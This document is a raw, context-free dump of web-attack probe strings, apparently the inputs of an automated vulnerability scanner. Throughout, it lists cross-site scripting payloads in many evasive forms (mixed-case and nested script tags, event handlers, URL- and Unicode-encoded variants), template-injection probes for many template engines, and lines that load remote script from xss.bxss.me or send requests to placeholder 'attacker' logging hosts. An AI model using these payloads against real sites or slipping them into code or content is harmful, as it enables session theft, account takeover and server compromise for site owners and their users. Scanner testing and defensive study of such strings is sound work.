555<svg  \xa0onload=NKMI(9958)

555<script>NWNg(9159)</script>9159

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb{{98991*97996}}xca

555<iframe src='data:text/html

555\u003CScRiPt\Ypoh(9361)\u003C/sCripT\u003E

555<ScR<ScRiPt>IpT>NWNg(9770)</sCr<ScRiPt>IpT>

#{98991*97996*98991*97996}

555<iframe src='data:text/html

dfb[[${98991*97996}]]xca

555<isindex type=image src=1 onerror=NKMI(9224)>

dfb{{{this}}}xca

555<ScRiPt >JWlu(9395)</ScRiPt>

dfb[[${98991*97996}]]xca

dfb__${98991*97996}__::.x

555<body onload=Dup3(9265)>

555&lt

555<ScRiPt >NWNg(9022)</ScRiPt>

555<body onload=TtL5(9823)>

#{98991*97996*98991*97996}

555<iframe src='data:text/html

dfb#{xca}=123

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb#{xca}=123

555<WURYJ4>SQSOP[!+!]</WURYJ4>

555<img src=//xss.bxss.me/t/dot.gif onload=TtL5(9106)>

\xf6<img zzz onmouseover=Ypoh(94751) //\xf6>

dfb__${98991*97996}__::.x

555<ScRiPt >w7Nn(9381)</ScRiPt>

555<body onload=NKMI(9362)>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9811></ScRiPt>

dfb{{'abcd'.toUpperCase()}}xca

555<script>JWlu(9646)</script>

dfb{{'abcd'.toUpperCase()}}xca

555<img src=//xss.bxss.me/t/dot.gif onload=Dup3(9137)>

555<input autofocus onfocus=Ypoh(9642)>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<img src=//xss.bxss.me/t/dot.gif onload=NKMI(9917)>

555<WLJU0V>TI83U[!+!]</WLJU0V>

555<script>JWlu(9523)</script>9523

555<img src=xyz OnErRor=TtL5(9954)>

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555<img src=xyz OnErRor=Dup3(9481)>

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

<a HrEF=http://xss.bxss.me></a>

555<ScRiPt >NWNg(9673)</ScRiPt>

555<img/src=">" onerror=alert(9081)>

555<ScRiPt >B2pk(9069)</ScRiPt>

555<img src=xyz OnErRor=NKMI(9461)>

555<svg  \xa0onload=NWNg(9856)

dfb{{98991*97996}}xca

555<script>w7Nn(9767)</script>

dfb{{98991*97996}}xca

<a HrEF=jaVaScRiPT:>

555<ScR<ScRiPt>IpT>JWlu(9169)</sCr<ScRiPt>IpT>

555<img/src=">" onerror=alert(9468)>

555<WFBKRN>DG7DO[!+!]</WFBKRN>

%35%35%35%3C%53%63%52%69%50%74%20%3E%54%74%4C%35%289220%29%3C%2F%73%43%72%69%70%54%3E

555<img/src=">" onerror=alert(9802)>

dfb[[${98991*97996}]]xca

dfb[[${98991*97996}]]xca

555<ScRiPt >JWlu(9507)</ScRiPt>

555}body{zzz:Expre/**/SSion(Ypoh(9952))}

555<script>B2pk(9564)</script>

%35%35%35%3C%53%63%52%69%50%74%20%3E%44%75%70%33%289535%29%3C%2F%73%43%72%69%70%54%3E

555<isindex type=image src=1 onerror=NWNg(9593)>

555\u003CScRiPt\TtL5(9134)\u003C/sCripT\u003E

dfb__${98991*97996}__::.x

555<script>w7Nn(9378)</script>9378

%35%35%35%3C%53%63%52%69%50%74%20%3E%4E%4B%4D%49%289591%29%3C%2F%73%43%72%69%70%54%3E

dfb__${98991*97996}__::.x

555&lt

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9499></ScRiPt>

555\u003CScRiPt\Dup3(9068)\u003C/sCripT\u003E

555iDg4M <ScRiPt >Ypoh(9329)</ScRiPt>

555<script>B2pk(9130)</script>9130

555<iframe src='data:text/html

555<ScR<ScRiPt>IpT>w7Nn(9071)</sCr<ScRiPt>IpT>

555\u003CScRiPt\NKMI(9177)\u003C/sCripT\u003E

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >JWlu(9032)</ScRiPt>

\xf6<img zzz onmouseover=TtL5(99171) //\xf6>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555&lt

555<ScR<ScRiPt>IpT>B2pk(9627)</sCr<ScRiPt>IpT>

555<ScRiPt >w7Nn(9117)</ScRiPt>

555<body onload=NWNg(9084)>

555<ScRiPt >oi5u(9411)</ScRiPt>

555<ScRiPt >jgxz(9734)</ScRiPt>

555<WSLV6W>PYVNA[!+!]</WSLV6W>

555<svg  \xa0onload=JWlu(9083)

555<input autofocus onfocus=TtL5(9115)>

555<ScRiPt >B2pk(9733)</ScRiPt>

555&lt

555<img src=//xss.bxss.me/t/dot.gif onload=NWNg(9424)>

\xf6<img zzz onmouseover=Dup3(92631) //\xf6>

555<ifRAme sRc=9849.com></IfRamE>

\xf6<img zzz onmouseover=NKMI(94541) //\xf6>

555<WR07NM>6HK6N[!+!]</WR07NM>

555<isindex type=image src=1 onerror=JWlu(9833)>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9098></ScRiPt>

555<img src=xyz OnErRor=NWNg(9055)>

555<WNZVYU>DKC51[!+!]</WNZVYU>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9722></ScRiPt>

555<input autofocus onfocus=NKMI(9025)>

<a HrEF=http://xss.bxss.me></a>

555<input autofocus onfocus=Dup3(9562)>

555<script>jgxz(9244)</script>

555<iframe src='data:text/html

555<amzTG1S x=9860>

555<script>oi5u(9871)</script>

555<img/src=">" onerror=alert(9151)>

555<ScRiPt >w7Nn(9409)</ScRiPt>

555<ScRiPt >B2pk(9037)</ScRiPt>

<a HrEF=jaVaScRiPT:>

<a HrEF=http://xss.bxss.me></a>

555<script>oi5u(9668)</script>9668

555<script>jgxz(9713)</script>9713

555<body onload=JWlu(9575)>

<a HrEF=http://xss.bxss.me></a>

%35%35%35%3C%53%63%52%69%50%74%20%3E%4E%57%4E%67%289351%29%3C%2F%73%43%72%69%70%54%3E

555}body{zzz:Expre/**/SSion(TtL5(9146))}

555<svg  \xa0onload=B2pk(9900)

555<img sRc='http://attacker-9901/log.php?

<a HrEF=jaVaScRiPT:>

<a HrEF=jaVaScRiPT:>

555DMUeM <ScRiPt >TtL5(9869)</ScRiPt>

555<svg  \xa0onload=w7Nn(9962)

555<ScR<ScRiPt>IpT>oi5u(9167)</sCr<ScRiPt>IpT>

555<ScR<ScRiPt>IpT>jgxz(9792)</sCr<ScRiPt>IpT>

555<img src=//xss.bxss.me/t/dot.gif onload=JWlu(9985)>

555<akTNgkC<

555\u003CScRiPt\NWNg(9648)\u003C/sCripT\u003E

555}body{zzz:Expre/**/SSion(Dup3(9239))}

555<ScRiPt >jgxz(9503)</ScRiPt>

555<isindex type=image src=1 onerror=B2pk(9439)>

555<WL3DU2>C6CJA[!+!]</WL3DU2>

555<isindex type=image src=1 onerror=w7Nn(9454)>

555}body{zzz:Expre/**/SSion(NKMI(9182))}

555'"()&%<zzz><ScRiPt >fO71(9126)</ScRiPt>

555<img src=xyz OnErRor=JWlu(9791)>

555&lt

555<ScRiPt >oi5u(9367)</ScRiPt>

555<iframe src='data:text/html

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9682></ScRiPt>

555<ifRAme sRc=9734.com></IfRamE>

555xRbOV <ScRiPt >Dup3(9647)</ScRiPt>

'"()&%<zzz><ScRiPt >fO71(9503)</ScRiPt>

555<img/src=">" onerror=alert(9672)>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9284></ScRiPt>

555<ScRiPt >jgxz(9736)</ScRiPt>

555OuaKi <ScRiPt >NKMI(9964)</ScRiPt>

555<iframe src='data:text/html

555<body onload=w7Nn(9021)>

555<abq0Fc7 x=9930>

5559179649

\xf6<img zzz onmouseover=NWNg(94751) //\xf6>

%35%35%35%3C%53%63%52%69%50%74%20%3E%4A%57%6C%75%289031%29%3C%2F%73%43%72%69%70%54%3E

555<ScRiPt >oi5u(9070)</ScRiPt>

555<W6I3AJ>ZUFO8[!+!]</W6I3AJ>

555<input autofocus onfocus=NWNg(9878)>

555<body onload=B2pk(9492)>

555<img src=//xss.bxss.me/t/dot.gif onload=w7Nn(9003)>

555<WJSXDM>JRTDG[!+!]</WJSXDM>

555<svg  \xa0onload=oi5u(9626)

555<svg  \xa0onload=jgxz(9690)

555<img sRc='http://attacker-9491/log.php?

bfg5377\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl5377

555\u003CScRiPt\JWlu(9186)\u003C/sCripT\u003E

555<ifRAme sRc=9937.com></IfRamE>

555<isindex type=image src=1 onerror=jgxz(9233)>

555<img src=//xss.bxss.me/t/dot.gif onload=B2pk(9390)>

555<img src=xyz OnErRor=w7Nn(9635)>

555<aeHiEPf<

<a HrEF=http://xss.bxss.me></a>

bfgx2145\xc0\xbez1\xc0\xbcz2a\x90bcxhjl2145

555<iframe src='data:text/html

555<isindex type=image src=1 onerror=oi5u(9924)>

555<ifRAme sRc=9119.com></IfRamE>

555&lt

555<azMiiUC x=9469>

<%={{={@{#{${dfb}}%>

555<body onload=jgxz(9988)>

555<img src=xyz OnErRor=B2pk(9199)>

555<img/src=">" onerror=alert(9919)>

<a HrEF=jaVaScRiPT:>

555'"()&%<zzz><ScRiPt >Yia7(9997)</ScRiPt>

\xf6<img zzz onmouseover=JWlu(97471) //\xf6>

555<img src=//xss.bxss.me/t/dot.gif onload=jgxz(9278)>

555<iframe src='data:text/html

%35%35%35%3C%53%63%52%69%50%74%20%3E%77%37%4E%6E%289870%29%3C%2F%73%43%72%69%70%54%3E

555<aSneRWZ x=9115>

555<img/src=">" onerror=alert(9152)>

555

555<input autofocus onfocus=JWlu(9960)>

'"()&%<zzz><ScRiPt >Yia7(9396)</ScRiPt>

555<img sRc='http://attacker-9025/log.php?

555<img sRc='http://attacker-9510/log.php?

555}body{zzz:Expre/**/SSion(NWNg(9923))}

555<body onload=oi5u(9132)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%42%32%70%6B%289326%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\w7Nn(9057)\u003C/sCripT\u003E

555<img src=xyz OnErRor=jgxz(9972)>

555<av8rpey<

<th:t="${dfb}#foreach

555zejdk <ScRiPt >NWNg(9743)</ScRiPt>

555<aJAdhGp<

<a HrEF=http://xss.bxss.me></a>

555&lt

5559968932

555<img src=//xss.bxss.me/t/dot.gif onload=oi5u(9446)>

555\u003CScRiPt\B2pk(9686)\u003C/sCripT\u003E

555

555<img/src=">" onerror=alert(9161)>

555&lt

555<W2H4AC>KFIDF[!+!]</W2H4AC>

555<img src=xyz OnErRor=oi5u(9072)>

\xf6<img zzz onmouseover=w7Nn(90851) //\xf6>

<a HrEF=jaVaScRiPT:>

\xf6<img zzz onmouseover=B2pk(97451) //\xf6>

bfg9457\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl9457

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

%35%35%35%3C%53%63%52%69%50%74%20%3E%6A%67%78%7A%289978%29%3C%2F%73%43%72%69%70%54%3E

555<img/src=">" onerror=alert(9134)>

555}body{zzz:Expre/**/SSion(JWlu(9935))}

555'"()&%<zzz><ScRiPt >OOdc(9336)</ScRiPt>

555<ifRAme sRc=9869.com></IfRamE>

555<input autofocus onfocus=w7Nn(9637)>

555\u003CScRiPt\jgxz(9739)\u003C/sCripT\u003E

bfgx1786\xc0\xbez1\xc0\xbcz2a\x90bcxhjl1786

555

555<aYbXklr x=9676>

555<input autofocus onfocus=B2pk(9388)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%6F%69%35%75%289583%29%3C%2F%73%43%72%69%70%54%3E

555DLR9R <ScRiPt >JWlu(9801)</ScRiPt>

'"()&%<zzz><ScRiPt >OOdc(9583)</ScRiPt>

555&lt

<a HrEF=http://xss.bxss.me></a>

<a HrEF=http://xss.bxss.me></a>

<%={{={@{#{${dfb}}%>

dfb{{98991*97996}}xca

5559012089

\xf6<img zzz onmouseover=jgxz(92011) //\xf6>

555\u003CScRiPt\oi5u(9880)\u003C/sCripT\u003E

555<img sRc='http://attacker-9326/log.php?

555

555'"()&%<zzz><ScRiPt >q7Ms(9033)</ScRiPt>

555<WXJDV2>0DUAO[!+!]</WXJDV2>

bfg10305\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl10305

<a HrEF=jaVaScRiPT:>

<a HrEF=jaVaScRiPT:>

dfb[[${98991*97996}]]xca

555<input autofocus onfocus=jgxz(9638)>

555<ax8CCUX<

bfgx7908\xc0\xbez1\xc0\xbcz2a\x90bcxhjl7908

555}body{zzz:Expre/**/SSion(w7Nn(9050))}

555<ifRAme sRc=9934.com></IfRamE>

<th:t="${dfb}#foreach

555&lt

<a HrEF=http://xss.bxss.me></a>

dfb__${98991*97996}__::.x

555juqlF <ScRiPt >w7Nn(9227)</ScRiPt>

555}body{zzz:Expre/**/SSion(B2pk(9726))}

555'"()&%<zzz><ScRiPt >ZSgU(9134)</ScRiPt>

'"()&%<zzz><ScRiPt >q7Ms(9803)</ScRiPt>

555<aEBpaH6 x=9827>

555<W2UZZ6>T8GDZ[!+!]</W2UZZ6>

<%={{={@{#{${dfb}}%>

555ErwAA <ScRiPt >B2pk(9750)</ScRiPt>

\xf6<img zzz onmouseover=oi5u(94321) //\xf6>

555

<a HrEF=jaVaScRiPT:>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

5559546876

'"()&%<zzz><ScRiPt >ZSgU(9004)</ScRiPt>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555}body{zzz:Expre/**/SSion(jgxz(9188))}

555

555<img sRc='http://attacker-9733/log.php?

555<WWNPAN>H7UNB[!+!]</WWNPAN>

bfg2498\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl2498

555<ifRAme sRc=9280.com></IfRamE>

555<ScRiPt >fO71(9503)</ScRiPt>

555<input autofocus onfocus=oi5u(9008)>

555

<th:t="${dfb}#foreach

5559502056

555EZm19 <ScRiPt >jgxz(9817)</ScRiPt>

555<ifRAme sRc=9136.com></IfRamE>

555<aTu4Xem<

bfgx6221\xc0\xbez1\xc0\xbcz2a\x90bcxhjl6221

<a HrEF=http://xss.bxss.me></a>

555<aH8o3iw x=9941>

555<WBNPYN>IAZXF[!+!]</WBNPYN>

555

555'"()&%<zzz><ScRiPt >JQCk(9733)</ScRiPt>

<a HrEF=jaVaScRiPT:>

<%={{={@{#{${dfb}}%>

bfg10688\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl10688

dfb{{98991*97996}}xca

555<aJ4pciB x=9342>

555<W1PUMM>CSNIV[!+!]</W1PUMM>

'"()&%<zzz><ScRiPt >JQCk(9365)</ScRiPt>

555<script>fO71(9089)</script>

555<img sRc='http://attacker-9503/log.php?

555}body{zzz:Expre/**/SSion(oi5u(9083))}

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

5559867133

bfgx1311\xc0\xbez1\xc0\xbcz2a\x90bcxhjl1311

dfb[[${98991*97996}]]xca

<th:t="${dfb}#foreach

555<ifRAme sRc=9914.com></IfRamE>

555<img sRc='http://attacker-9498/log.php?

555<script>fO71(9249)</script>9249

bfg9810\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl9810

555<acWuFpO<

555

555RjGzu <ScRiPt >oi5u(9103)</ScRiPt>

555

555<apfYFWX<

555<ScR<ScRiPt>IpT>fO71(9609)</sCr<ScRiPt>IpT>

dfb__${98991*97996}__::.x

<%={{={@{#{${dfb}}%>

bfgx4441\xc0\xbez1\xc0\xbcz2a\x90bcxhjl4441

555<agySMxl x=9772>

dfb{{98991*97996}}xca

555<WAB0DA>SJOXZ[!+!]</WAB0DA>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >fO71(9230)</ScRiPt>

dfb{{98991*97996}}xca

<%={{={@{#{${dfb}}%>

555<img sRc='http://attacker-9922/log.php?

555<ScRiPt >Yia7(9509)</ScRiPt>

555

555

555<ifRAme sRc=9924.com></IfRamE>

dfb[[${98991*97996}]]xca

555<aXWdHOy<

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9835></ScRiPt>

dfb{{98991*97996}}xca

<th:t="${dfb}#foreach

555<WJQP7R>VRQ0N[!+!]</WJQP7R>

dfb__${98991*97996}__::.x

dfb{98991*97996}xca

555<a5VBNXU x=9637>

<th:t="${dfb}#foreach

555<ScRiPt >fO71(9378)</ScRiPt>

555<script>Yia7(9735)</script>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555

dfb${98991*97996}xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<img sRc='http://attacker-9593/log.php?

555<svg  \xa0onload=fO71(9776)

dfb#{98991*97996}xca

555<ScRiPt >OOdc(9200)</ScRiPt>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<isindex type=image src=1 onerror=fO71(9097)>

dfb{#98991*97996}xca

555<script>Yia7(9436)</script>9436

555

555<a24op6P<

555<WEUPKG>QUBJR[!+!]</WEUPKG>

555

555<ScR<ScRiPt>IpT>Yia7(9502)</sCr<ScRiPt>IpT>

555<iframe src='data:text/html

dfb{@98991*97996}xca

dfb{{98991*97996}}xca

dfb{{98991*97996}}xca

555<script>OOdc(9261)</script>

555<body onload=fO71(9906)>

555<ScRiPt >Yia7(9564)</ScRiPt>

dfb{{=98991*97996}}xca

dfb[[${98991*97996}]]xca

555<script>OOdc(9017)</script>9017

555<img src=//xss.bxss.me/t/dot.gif onload=fO71(9102)>

555<ScR<ScRiPt>IpT>OOdc(9980)</sCr<ScRiPt>IpT>

dfb@(98991*97996)xca

dfb[[${98991*97996}]]xca

dfb__${98991*97996}__::.x

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9233></ScRiPt>

555<ScRiPt >OOdc(9501)</ScRiPt>

555<img src=xyz OnErRor=fO71(9776)>

dfb<%=98991*97996%>xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >Yia7(9967)</ScRiPt>

dfb__${98991*97996}__::.x

555'"()&%<zzz><ScRiPt >4E5t(9130)</ScRiPt>

555<svg  \xa0onload=Yia7(9891)

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9801></ScRiPt>

dfb#set($x=98991*97996)${x}xca

555<ScRiPt >ZSgU(9138)</ScRiPt>

555<img/src=">" onerror=alert(9658)>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

'"()&%<zzz><ScRiPt >4E5t(9264)</ScRiPt>

555<isindex type=image src=1 onerror=Yia7(9331)>

dfb{{"abc"|title}}xca

555<ScRiPt >OOdc(9513)</ScRiPt>

555<iframe src='data:text/html

%35%35%35%3C%53%63%52%69%50%74%20%3E%66%4F%37%31%289287%29%3C%2F%73%43%72%69%70%54%3E

555<ScRiPt >JQCk(9018)</ScRiPt>

555<WJLK4I>TFM7P[!+!]</WJLK4I>

print("dfb" . 98991*97996 . "xca")

5559141460

555<svg  \xa0onload=OOdc(9655)

555<body onload=Yia7(9669)>

555\u003CScRiPt\fO71(9517)\u003C/sCripT\u003E

555'"()&%<zzz><ScRiPt >SCNx(9502)</ScRiPt>

555<WW4RNG>38X7S[!+!]</WW4RNG>

555<script>ZSgU(9202)</script>

bfg4486\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl4486

555<img src=//xss.bxss.me/t/dot.gif onload=Yia7(9845)>

555&lt

98991*97996*98991*97996

555<isindex type=image src=1 onerror=OOdc(9721)>

'"()&%<zzz><ScRiPt >SCNx(9623)</ScRiPt>

555<script>JQCk(9759)</script>

\xf6<img zzz onmouseover=fO71(97141) //\xf6>

bfgx10562\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10562

555<script>ZSgU(9681)</script>9681

555<img src=xyz OnErRor=Yia7(9940)>

5559185303

555<script>JQCk(9851)</script>9851

dfb{@math key=98991 method="multiply" operand=97996/}xca

555<iframe src='data:text/html

555<img/src=">" onerror=alert(9076)>

<%={{={@{#{${dfb}}%>

555<input autofocus onfocus=fO71(9186)>

555<ScR<ScRiPt>IpT>JQCk(9396)</sCr<ScRiPt>IpT>

555<body onload=OOdc(9811)>

bfg2851\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl2851

555<ScR<ScRiPt>IpT>ZSgU(9498)</sCr<ScRiPt>IpT>

555

%35%35%35%3C%53%63%52%69%50%74%20%3E%59%69%61%37%289721%29%3C%2F%73%43%72%69%70%54%3E

<a HrEF=http://xss.bxss.me></a>

555<img src=//xss.bxss.me/t/dot.gif onload=OOdc(9996)>

dfb{{{this}}}xca

555<ScRiPt >JQCk(9142)</ScRiPt>

bfgx2421\xc0\xbez1\xc0\xbcz2a\x90bcxhjl2421

<th:t="${dfb}#foreach

555<ScRiPt >ZSgU(9429)</ScRiPt>

555<img src=xyz OnErRor=OOdc(9674)>

<%={{={@{#{${dfb}}%>

555\u003CScRiPt\Yia7(9643)\u003C/sCripT\u003E

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9597></ScRiPt>

<a HrEF=jaVaScRiPT:>

#{98991*97996*98991*97996}

555

555&lt

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9620></ScRiPt>

<th:t="${dfb}#foreach

555<ScRiPt >ZSgU(9306)</ScRiPt>

555<img/src=">" onerror=alert(9724)>

555}body{zzz:Expre/**/SSion(fO71(9744))}

dfb#{xca}=123

\xf6<img zzz onmouseover=Yia7(95811) //\xf6>

555<ScRiPt >JQCk(9441)</ScRiPt>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555

dfb{{'abcd'.toUpperCase()}}xca

555<svg  \xa0onload=JQCk(9139)

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<svg  \xa0onload=ZSgU(9869)

555<input autofocus onfocus=Yia7(9053)>

555u2N1b <ScRiPt >fO71(9424)</ScRiPt>

555

%35%35%35%3C%53%63%52%69%50%74%20%3E%4F%4F%64%63%289991%29%3C%2F%73%43%72%69%70%54%3E

555

<a HrEF=http://xss.bxss.me></a>

555<isindex type=image src=1 onerror=JQCk(9798)>

555<isindex type=image src=1 onerror=ZSgU(9512)>

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555<WYJJII>3UCWD[!+!]</WYJJII>

dfb{{98991*97996}}xca

555\u003CScRiPt\OOdc(9130)\u003C/sCripT\u003E

dfb[[${98991*97996}]]xca

dfb{{98991*97996}}xca

555<ifRAme sRc=9058.com></IfRamE>

<a HrEF=jaVaScRiPT:>

dfb{{98991*97996}}xca

555<iframe src='data:text/html

555<iframe src='data:text/html

dfb__${98991*97996}__::.x

555<af7YoMk x=9998>

555&lt

dfb[[${98991*97996}]]xca

dfb[[${98991*97996}]]xca

555}body{zzz:Expre/**/SSion(Yia7(9109))}

555<body onload=ZSgU(9512)>

555<img sRc='http://attacker-9694/log.php?

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<body onload=JQCk(9302)>

555<a6rJfXK<

\xf6<img zzz onmouseover=OOdc(95471) //\xf6>

555<img src=//xss.bxss.me/t/dot.gif onload=ZSgU(9308)>

555xUACD <ScRiPt >Yia7(9814)</ScRiPt>

dfb__${98991*97996}__::.x

555<ScRiPt >4E5t(9759)</ScRiPt>

dfb__${98991*97996}__::.x

555<input autofocus onfocus=OOdc(9338)>

555'"()&%<zzz><ScRiPt >l8bj(9547)</ScRiPt>

555<img src=//xss.bxss.me/t/dot.gif onload=JQCk(9621)>

555<img src=xyz OnErRor=ZSgU(9753)>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

'"()&%<zzz><ScRiPt >l8bj(9499)</ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<WKTLUW>ZMEUG[!+!]</WKTLUW>

555<img src=xyz OnErRor=JQCk(9777)>

555<WYS6ZY>MVHLH[!+!]</WYS6ZY>

<a HrEF=http://xss.bxss.me></a>

555<img/src=">" onerror=alert(9126)>

555<ifRAme sRc=9160.com></IfRamE>

5559401084

555<img/src=">" onerror=alert(9426)>

555<ScRiPt >q7Ms(9107)</ScRiPt>

%35%35%35%3C%53%63%52%69%50%74%20%3E%5A%53%67%55%289803%29%3C%2F%73%43%72%69%70%54%3E

555<ScRiPt >SCNx(9361)</ScRiPt>

<a HrEF=jaVaScRiPT:>

555<script>4E5t(9089)</script>

555<al0SmZa x=9215>

555<WDEKFQ>AWLQE[!+!]</WDEKFQ>

bfg1469\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl1469

555<WH3ET5>KEZWZ[!+!]</WH3ET5>

555\u003CScRiPt\ZSgU(9391)\u003C/sCripT\u003E

555<script>4E5t(9450)</script>9450

555}body{zzz:Expre/**/SSion(OOdc(9347))}

%35%35%35%3C%53%63%52%69%50%74%20%3E%4A%51%43%6B%289229%29%3C%2F%73%43%72%69%70%54%3E

555<script>SCNx(9646)</script>

bfgx7757\xc0\xbez1\xc0\xbcz2a\x90bcxhjl7757

555<img sRc='http://attacker-9243/log.php?

555<ScR<ScRiPt>IpT>4E5t(9770)</sCr<ScRiPt>IpT>

555<script>q7Ms(9776)</script>

555<script>SCNx(9870)</script>9870

555\u003CScRiPt\JQCk(9369)\u003C/sCripT\u003E

555<aatntXM<

<%={{={@{#{${dfb}}%>

555kcC1Y <ScRiPt >OOdc(9750)</ScRiPt>

555&lt

555&lt

555<script>q7Ms(9261)</script>9261

555<ScR<ScRiPt>IpT>SCNx(9671)</sCr<ScRiPt>IpT>

555<ScRiPt >4E5t(9292)</ScRiPt>

555

\xf6<img zzz onmouseover=ZSgU(95651) //\xf6>

\xf6<img zzz onmouseover=JQCk(95541) //\xf6>

555<WCF7XD>RKEXX[!+!]</WCF7XD>

<th:t="${dfb}#foreach

555<ScR<ScRiPt>IpT>q7Ms(9508)</sCr<ScRiPt>IpT>

555<ScRiPt >SCNx(9307)</ScRiPt>

555<input autofocus onfocus=JQCk(9450)>

555<input autofocus onfocus=ZSgU(9487)>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9491></ScRiPt>

555

555<ifRAme sRc=9161.com></IfRamE>

555<ScRiPt >4E5t(9631)</ScRiPt>

555<ScRiPt >q7Ms(9073)</ScRiPt>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=http://xss.bxss.me></a>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9896></ScRiPt>

555<svg  \xa0onload=4E5t(9885)

dfb{{98991*97996}}xca

<a HrEF=jaVaScRiPT:>

555<aQQLVTo x=9830>

<a HrEF=jaVaScRiPT:>

555<ScRiPt >SCNx(9144)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9104></ScRiPt>

555<isindex type=image src=1 onerror=4E5t(9880)>

555}body{zzz:Expre/**/SSion(JQCk(9031))}

dfb{{98991*97996}}xca

555<iframe src='data:text/html

555}body{zzz:Expre/**/SSion(ZSgU(9359))}

555<svg  \xa0onload=SCNx(9392)

555<img sRc='http://attacker-9254/log.php?

555GwPWe <ScRiPt >JQCk(9456)</ScRiPt>

555<ScRiPt >q7Ms(9848)</ScRiPt>

dfb{98991*97996}xca

555<isindex type=image src=1 onerror=SCNx(9148)>

555<body onload=4E5t(9387)>

555<aY3Cma6<

555<WNDEET>OYRJ3[!+!]</WNDEET>

555OCiR7 <ScRiPt >ZSgU(9142)</ScRiPt>

555<svg  \xa0onload=q7Ms(9606)

dfb${98991*97996}xca

555<img src=//xss.bxss.me/t/dot.gif onload=4E5t(9888)>

555<iframe src='data:text/html

dfb#{98991*97996}xca

555<WQ6BAD>BJCHF[!+!]</WQ6BAD>

555<isindex type=image src=1 onerror=q7Ms(9429)>

555<ifRAme sRc=9168.com></IfRamE>

555<iframe src='data:text/html

555<ifRAme sRc=9599.com></IfRamE>

555<body onload=SCNx(9438)>

555<img src=xyz OnErRor=4E5t(9612)>

dfb{#98991*97996}xca

555<img/src=">" onerror=alert(9269)>

555<body onload=q7Ms(9066)>

555<a9wFyvB x=9945>

555<img src=//xss.bxss.me/t/dot.gif onload=SCNx(9308)>

dfb{@98991*97996}xca

555<aleeAZJ x=9584>

dfb{{=98991*97996}}xca

555<img sRc='http://attacker-9610/log.php?

555<img src=xyz OnErRor=SCNx(9605)>

555<img sRc='http://attacker-9066/log.php?

555<img src=//xss.bxss.me/t/dot.gif onload=q7Ms(9253)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%34%45%35%74%289657%29%3C%2F%73%43%72%69%70%54%3E

555<aUS6HFW<

dfb@(98991*97996)xca

555<img/src=">" onerror=alert(9476)>

555\u003CScRiPt\4E5t(9706)\u003C/sCripT\u003E

555<img src=xyz OnErRor=q7Ms(9806)>

555<a3Or7LO<

dfb<%=98991*97996%>xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%53%43%4E%78%289547%29%3C%2F%73%43%72%69%70%54%3E

555<img/src=">" onerror=alert(9641)>

dfb#set($x=98991*97996)${x}xca

555&lt

dfb{{"abc"|title}}xca

555\u003CScRiPt\SCNx(9986)\u003C/sCripT\u003E

\xf6<img zzz onmouseover=4E5t(95011) //\xf6>

%35%35%35%3C%53%63%52%69%50%74%20%3E%71%37%4D%73%289913%29%3C%2F%73%43%72%69%70%54%3E

555&lt

print("dfb" . 98991*97996 . "xca")

555\u003CScRiPt\q7Ms(9177)\u003C/sCripT\u003E

555<input autofocus onfocus=4E5t(9135)>

